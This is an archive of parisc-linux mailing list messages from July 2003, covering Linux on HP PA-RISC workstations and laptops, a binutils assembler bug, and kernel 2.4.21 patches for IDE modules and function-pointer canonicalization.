Xref: news.gmane.org gmane.linux.ports.parisc:18805

On Fri, 4 Jul 2003, Joel Soete wrote:

> Hi Martin,
>
> >    I've recently acquired an RDI Precision Book 160 which is currently
> > running HP-UX 10.2.  From what I can find in the relevant documentation
> > it is allegidly completely compatible with the HP B series workstations
> > and thus should run Linux.  Does anyone have any experience with
> > installing / running Linux on these?  It is possible?  What devices are
> > supported?  Is Linux the best choice for this machine?
>
> Yes it works have a look on the thread:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/019613.html>

Yes, I also bought one of these RDI Precisionbooks from eBay (probably
even from the same guy as you did).
It works fine, except I have some problems with the (internal) keyboard,
ie. the control/function keys are mapped somewhat weird, eg. CapsLock = Ctrl.

A second thing is that stifb only works for me if you attach a external
monitor, but sticon works fine with the internal LCD. I suspect that the
stifb driver clears some flag that it should use the internal LCD during
initialization.

If someone is interested I'd sell mine, since I need some money :-/

greetings, Max



From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Kernel compilation for B2000
Date: Fri, 4 Jul 2003 15:56:44 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F056E95000000D0@ocpmta4.freegates.net>
References: <HOEDKHACIIOGKPMMFMCGIELFCOAA.Mark.Mestdagh@Icon-Europe.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622557 27455 80.91.229.3 (22 Nov 2014 02:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mark Mestdagh" <Mark.Mestdagh@Icon-Europe.com>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 07:56:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9C97482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 07:56:50 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19YR2F-0000di-00; Fri, 04 Jul 2003 15:55:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 4 Jul 2003 15:56:44 +0200
In-Reply-To: <HOEDKHACIIOGKPMMFMCGIELFCOAA.Mark.Mestdagh@Icon-Europe.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18806

Hi Mark,

> Seems I have the same problem on a B2000 with the latest cvs'ed version
> (2.4.21-pa1)

The problem is not with b2k but well with 2.4.21-pa1 which is refreshed very
recently. But I proposed a fix to Grant who would be able to ci soon.
In the mean time (if you do not need actualy ide support for cd-rom) you
can un-select this temporarely this from your config.

Now for 64bits kernel it works (b2k allows 32 & 64 bits kernels ;-) ).
But for 32bits otc you will need also to wait that Grant ci another patch
(or reverse pa1 patch to come back to pa0).

hth,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils_2.14.90 bug
Date: Fri, 4 Jul 2003 13:10:42 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030704191042.GB7885@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622557 27459 80.91.229.3 (22 Nov 2014 02:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 13:10:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DA622482A; Fri,  4 Jul 2003 13:10:42 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18807

Hi binutils lovers,

I can't build a 32-bit parisc kernel with binutils*2.14.90.0.4-0.1_hppa.deb
packages.  It dies with an error in arch/parisc/kernel/real2.S:

real2.S:126: Error: too many positional arguments

The offending line reads:
        load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26

this gets reduced to:
        load32  ((save_cr_space + (9 * 4))-(0x10000000)), %r26


Older binutils*_2.12.90.0.1-4_hppa.deb works.

grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils_2.14.90 bug
Date: Fri, 4 Jul 2003 13:28:37 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030704192837.GC7885@dsl2.external.hp.com>
References: <20030704191042.GB7885@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622558 27461 80.91.229.3 (22 Nov 2014 02:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 13:28:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F0D65482A; Fri,  4 Jul 2003 13:28:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030704191042.GB7885@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18808

On Fri, Jul 04, 2003 at 01:10:42PM -0600, Grant Grundler wrote:
...
> Older binutils*_2.12.90.0.1-4_hppa.deb works.

But I now have a dependency problem that dselect flagged:

binutils suggests binutils-doc (= 2.12.90.0.1-4)
gcc-3.3 depends on binutils (>= 2.13.90.0.10)
gcc-3.2 depends on binutils (>= 2.13.90.0.10)

I didn't see binutils*2.13.90.0.10_hppa.deb in the debian pool.
*sigh*

grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils_2.14.90 bug
Date: Fri, 4 Jul 2003 15:29:36 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200307041929.h64JTbD5020079@hiauly1.hia.nrc.ca>
References: <20030704191042.GB7885@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622558 27468 80.91.229.3 (22 Nov 2014 02:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 13:29:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E94EB482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 Jul 2003 13:29:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h64JTbgL020081;
	Fri, 4 Jul 2003 15:29:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h64JTbD5020079;
	Fri, 4 Jul 2003 15:29:37 -0400 (EDT)
In-Reply-To: <20030704191042.GB7885@dsl2.external.hp.com> from "Grant Grundler" at Jul 4, 2003 01:10:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18809

Hi Grant,

Due to an "improvement" made for the detection of labels on ia64,
the PA assembler no longer tolerants whitespace in the operand field.
The only whitespace that is allowed is after `,'.  So, you need to
remove the whitespace around `+' and `*'.  If you look at the HP
assembler docs, you will see that they never show any whitespace
in the operands field.

Previously, the assembler used to strip the whitespace by default.
The reason that we can strip whitespace after `,' is that `,' never
ends an opcode.

This came up before on this list.

> Hi binutils lovers,
> 
> I can't build a 32-bit parisc kernel with binutils*2.14.90.0.4-0.1_hppa.deb
> packages.  It dies with an error in arch/parisc/kernel/real2.S:
> 
> real2.S:126: Error: too many positional arguments
> 
> The offending line reads:
>         load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
> 
> this gets reduced to:
>         load32  ((save_cr_space + (9 * 4))-(0x10000000)), %r26
> 
> 
> Older binutils*_2.12.90.0.1-4_hppa.deb works.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils_2.14.90 bug
Date: Fri, 4 Jul 2003 19:03:41 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030705010341.GA16038@dsl2.external.hp.com>
References: <20030704191042.GB7885@dsl2.external.hp.com> <200307041929.h64JTbD5020079@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622558 27473 80.91.229.3 (22 Nov 2014 02:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 19:03:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D46F2482A; Fri,  4 Jul 2003 19:03:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200307041929.h64JTbD5020079@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18810

On Fri, Jul 04, 2003 at 03:29:36PM -0400, John David Anglin wrote:
> Hi Grant,
> 
> Due to an "improvement" made for the detection of labels on ia64,
> the PA assembler no longer tolerants whitespace in the operand field.
> The only whitespace that is allowed is after `,'.  So, you need to
> remove the whitespace around `+' and `*'.  If you look at the HP
> assembler docs, you will see that they never show any whitespace
> in the operands field.

ok. I can fix that. thanks!

grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compilation for J5600
Date: Fri, 4 Jul 2003 21:20:40 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030705032040.GA18582@dsl2.external.hp.com>
References: <20030701132146.GD23597@parcelfarce.linux.theplanet.co.uk> <3ED71F6D0000C050@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622559 27474 80.91.229.3 (22 Nov 2014 02:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  4 21:20:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3E16A482A; Fri,  4 Jul 2003 21:20:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED71F6D0000C050@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18811

On Tue, Jul 01, 2003 at 04:03:27PM +0200, Joel Soete wrote:
> Or do we actualy need a specific local_irq_set(x)?

We do.
#define local_irq_save(x) \
        __asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
#define local_irq_set(x) \
	__asm__ __volatile__("ssm %1,%0" : "=r" (x) : "i" (PSW_I) : "memory" )

I'll add that as well in my next commit.
Still looking over some of your other changes.

thanks,
grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Sat, 5 Jul 2003 17:08:34 -0600
Lines: 89
Approved: news@gmane.org
Message-ID: <20030705230834.GB9682@dsl2.external.hp.com>
References: <20030627151546.GA30607@dsl2.external.hp.com> <3ED70CF10000AE2E@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622559 27480 80.91.229.3 (22 Nov 2014 02:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  5 17:08:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 22614482A; Sat,  5 Jul 2003 17:08:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED70CF10000AE2E@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18812

On Fri, Jun 27, 2003 at 06:14:58PM +0200, Joel Soete wrote:
> I need it to make work my ide cdrom onto my b2k (I grab this stuff
> from another platform)


Joel,
I've reworked the __save_and_cli and __save_and_sti mess so that's ok to
commit along with most of what you previously preposed.  I've tested on
64-bit (a500) but am having several problems with 32-bit (c3000) config.

Patch applies to our current CVS:
	ftp://ftp.parisc-linux.org/patches/diff-2.4.21-pa2

My .config and untested kernel/modules are at:
	ftp://ftp.parisc-kernel.org/kernels/c3000/2.4.21-pa2.tgz

Summary of issues that follow:
1) __canonicalize_funcptr_for_compare still a problem with 32-bit modules
2) Makefiles messed up for ide-proc.o	(seems to have a fix already)
3) various IDE modules not exporting symbols.
4) added EXPORT_SYMBOL(sys_wait4) as well.
5) Lack of a test machine at home. Can someone test c3000/2.4.21-pa2.tgz?

Patch also fixes asm problem with arch/parisc/kernel/real2.S.


Details:

1) Dave warned us last December about __canonicalize_funcptr_for_compare
   and gcc-3.3. "make modules_install" fails with this symbol missing in:

   	drivers/ide/ide-disk.o (fixed in patch but won't be committed)
	drivers/scsi/aic79xx/aic79xx.o
	fs/smbfs/smbfs.o
	lib/zlib_deflate/zlib_deflate.o

   Having no clue how to properly fix this in either the toolchain
   or where to find the man page for __canonicalize_funcptr_for_compare(),
   I disabled the last three in my .config and hacked ide-disk.c
   to use (void *) for comparisons.
   Any volunteer to write some sample code for this?
   
2) CONFIG_IDE=m leads to lots of unresolved symbols in IDE modules.
   Willy just pointed me at

   	http://www.ussg.iu.edu/hypermail/linux/kernel/0307.0/0995.html

   which should solve this problem.  The description below is just FYI.
   I'll rework the IDE patch to follow "upstream" fix in the next
   couple of days.

   Basic problem starts with drivers/Makefile:
   	subdir-$(CONFIG_IDE) += ide
   causing the "make vmlinux" to ignore drivers/ide subdir if CONFIG_IDE=m.
   This doesn't work when CONFIG_PROC_FS=y. ide-proc.o doesn't get built.
   drivers/ide/Makefile:
	ifeq($(CONFIG_BLK_DEV_IDE),y)
		obj-$(CONFIG_PROC_FS) += ide-proc.o
	endif

   I hacked  drivers/ide/Makefile to read:
	ifeq ($(CONFIG_PROC_FS),y)
	obj-$(CONFIG_BLK_DEV_IDE)               += ide-proc.o
	endif
   It presumes (1) PROC_FS is y or n and never 'm' and (2) IDE /proc
   support should be loaded as a module if CONFIG_BLK_DEV_IDE=m.


3) various IDE modules not exporting symbols.
	+EXPORT_SYMBOL_GPL(ide_release_dma);
	+EXPORT_SYMBOL(do_ide_request);
	+EXPORT_SYMBOL(ide_modules);
	+EXPORT_SYMBOL(generic_subdriver_entries);
	+EXPORT_SYMBOL(ide_find_setting_by_name);
	+EXPORT_SYMBOL(ide_read_setting);
	+EXPORT_SYMBOL(ide_add_generic_settings);
	+EXPORT_SYMBOL_GPL(ide_scan_pcibus);

4) added EXPORT_SYMBOL(sys_wait4) as well.

5) Lack of a test machine at home. I'm waiting for c3k's I've ordered.
   Nice folks sent me "workstation power cord kit" via priority mail but
   no sign of the workstation itself. :^/
   If someone can test this patch on a C3k, I'd be willing to commit
   the non-IDE parts of it. IDE needs rework to follow upstream's fix.

hth,
grant


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Sat, 5 Jul 2003 19:53:34 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <200307052353.h65NrZF4025169@hiauly1.hia.nrc.ca>
References: <20030705230834.GB9682@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622559 27484 80.91.229.3 (22 Nov 2014 02:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:59 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul  5 17:53:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18506482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Jul 2003 17:53:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h65NrZgL025171;
	Sat, 5 Jul 2003 19:53:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h65NrZF4025169;
	Sat, 5 Jul 2003 19:53:35 -0400 (EDT)
In-Reply-To: <20030705230834.GB9682@dsl2.external.hp.com> from "Grant Grundler" at Jul 5, 2003 05:08:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18813

> 1) Dave warned us last December about __canonicalize_funcptr_for_compare
>    and gcc-3.3. "make modules_install" fails with this symbol missing in:
> 
>    	drivers/ide/ide-disk.o (fixed in patch but won't be committed)
> 	drivers/scsi/aic79xx/aic79xx.o
> 	fs/smbfs/smbfs.o
> 	lib/zlib_deflate/zlib_deflate.o
> 
>    Having no clue how to properly fix this in either the toolchain
>    or where to find the man page for __canonicalize_funcptr_for_compare(),
>    I disabled the last three in my .config and hacked ide-disk.c
>    to use (void *) for comparisons.
>    Any volunteer to write some sample code for this?

Instead of adding (void *) to each comparison, you could add a kernel
version of __canonicalize_funcptr_for_compare:

__canonicalize_funcptr_for_compare:
	bv %r0(%r2)
	copy %r26,%r28

or for PA 2.0

__canonicalize_funcptr_for_compare:
        bve (%r2)
	copy %r26,%r28

I think there was a possible solution along these lines posted on the list
a few months ago (joel?).

This solution assumes that canonicalization is unnecessary in the kernel.
Probably, in most cases it is.  However, if you really need to canonicalize
a function pointer from user space, then you are going to have to figure
out how to call into the dynamic loader from the kernel.  This obviously
isn't very safe.  So, possibly this implies that function pointers passed
in syscalls should be canonicalized before the kernel is entered (i.e.,
glibc should do the canonicalization).

As far as kernel modules go, I don't know how function pointers are
handled.  If you pass a function pointer from one module to another,
does it need canonicalization?  If canonicalization is never necessary
in the kernel, possibly I could add a GCC option to disable canonicalization.

Sorry, about the lack of documentation.  To see what the function does,
it's currently necessary to look in the GCC gcc/config/pa directory.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
